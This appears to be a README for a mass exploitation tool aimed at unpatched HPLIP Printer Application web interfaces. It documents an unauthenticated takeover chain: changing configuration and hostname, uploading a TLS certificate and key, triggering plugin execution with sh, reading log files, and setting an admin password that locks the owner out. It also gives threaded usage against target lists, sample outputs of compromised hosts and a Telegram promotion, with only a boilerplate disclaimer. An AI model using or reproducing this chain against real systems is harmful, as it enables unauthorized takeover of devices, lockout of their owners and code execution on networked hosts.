nxploited/cve-2026-91097-cve-2026-91106HPLIP < 3.26.6 — Full admin takeover via PAPPL web interface (no auth). Related to CVE-2026-91097 through CVE-2026-91106 (CVSS 9.3)
🔬 Join Telegram for the latest vulnerability research and exploit releases
Mass exploitation tool targeting the HPLIP Printer Application (PAPPL-based web interface) in all HPLIP versions before 3.26.6. The tool exploits the default unauthenticated state of the PAPPL web interface to perform a full administrative takeover chain: configuration tampering, hostname modification, TLS certificate replacement, HP plugin installation (triggers shell execution of .run file on the target), system log exfiltration, and admin password lockout.
The core vulnerability is the PAPPL Unauthenticated Administrative Access — the HPLIP Printer Application ships with , allowing any network attacker to perform all administrative actions without authentication through the web interface (typically port 8000).
Additionally, the plugin installation chain leverages weaknesses addressed in:
| CVE | CWE | CVSS 4.0 | Relevance |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | Path Traversal in plugin.spec — the plugin installation triggered by this tool passes through the vulnerable pluginhandler.py code |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | Download Without Integrity Check — the plugin .run file is downloaded over HTTP and executed with sh on the target |
HP Security Bulletin: HPSBPI04151
| Endpoint | Action | Verified |
|---|---|---|
/security | Set admin password (account takeover) | ✅ |
/config | Modify DNS-SD name, location, organization, contact | ✅ |
/network | Change system hostname | ✅ |
/tls-install-crt | Upload arbitrary TLS certificate + private key | ✅ |
/plugin | Trigger HP plugin download + license accept + install (executes .run with sh) | ✅ |
/logfile.txt | Read full application log file (information disclosure) | ✅ |
Target Discovery
│
▼
Detect HPLIP Printer Application (Server header + version)
│
▼
Check Authentication Status (/security)
│
├── Password Set ──► Log as VULN (locked)
│
└── No Password (default) ──► Exploit Chain:
│
├── 1. Modify Configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Verified: marker reflected in response
│
├── 2. Change Hostname (/network)
│ Old hostname captured, new hostname set
│ Verified: new value reflected in response
│
├── 3. Upload TLS Certificate (/tls-install-crt)
│ Custom PEM certificate + private key
│ Multipart file upload
│
├── 4. Install HP Plugin (/plugin)
│ Step 1: POST action=install-plugin (downloads .run)
│ Step 2: POST action=license-accepted (executes with sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Read Log File (/logfile.txt)
│ System paths, environment info, Snap paths
│
└── 6. Set Admin Password (/security)
Locks out further unauthenticated access
Completes full admin takeover
pip install requests
Python 3.8+ required. No other dependencies.
python T.py targets.txt 50
| Argument | Description | Default |
|---|---|---|
targets.txt | File containing target list (one per line) | Prompted |
50 | Number of concurrent threads | 15 |
python T.py
The tool will prompt for the target list file and thread count.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000# are ignored| File | Contents |
|---|---|
AdminS.txt | Admin takeover — password, server version, full panel URL map |
Nx_modify.txt | Verified configuration and hostname changes (old → new values) |
Nx_upload.txt | TLS certificate upload confirmations |
Nx_plugin.txt | HP plugin installation results with shell execution status |
Nx_recon.txt | Information disclosure — log file size, environment paths, version |
AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Admin Takeover + Full Control
Affected < 3.26.6 │ PAPPL Unauthenticated Access
CVE-2026-91097 │ Plugin Path Traversal
CVE-2026-91102 │ Plugin Download Without Integrity + Shell Exec
Exploited via Web: /security /config /network /plugin /tls-install-crt /logs
By: Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ Admin Takeover: 4 └─ AdminS.txt
▐ Modifications : 8 └─ Nx_modify.txt
▐ Cert Uploads : 4 └─ Nx_upload.txt
▐ Plugin Exec : 1 └─ Nx_plugin.txt
▐ Recon / Info : 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| Tag | Meaning |
|---|---|
HIT | Successfully exploited — admin takeover achieved |
VULN | Vulnerable but password already set (locked) |
SAFE | Version ≥ 3.26.6 (patched) |
SKIP | Not an HPLIP Printer Application or unreachable |
/var/snap/hplip-printer-app/common/sh plugin.run --keep --nox11 which executes HP's official plugin binary — the content is downloaded from HP servers; the attacker does not control the plugin content but triggers its executionBy: Nxploited
This tool is provided strictly for authorized security research, penetration testing, and educational purposes only. Use of this tool against systems without explicit written permission from the system owner is illegal and unethical. The author assumes no liability for any misuse, damage, or legal consequences resulting from the use of this tool. Always obtain proper authorization before conducting any security assessments. By using this tool, you agree that you are solely responsible for your actions and compliance with all applicable laws and regulations.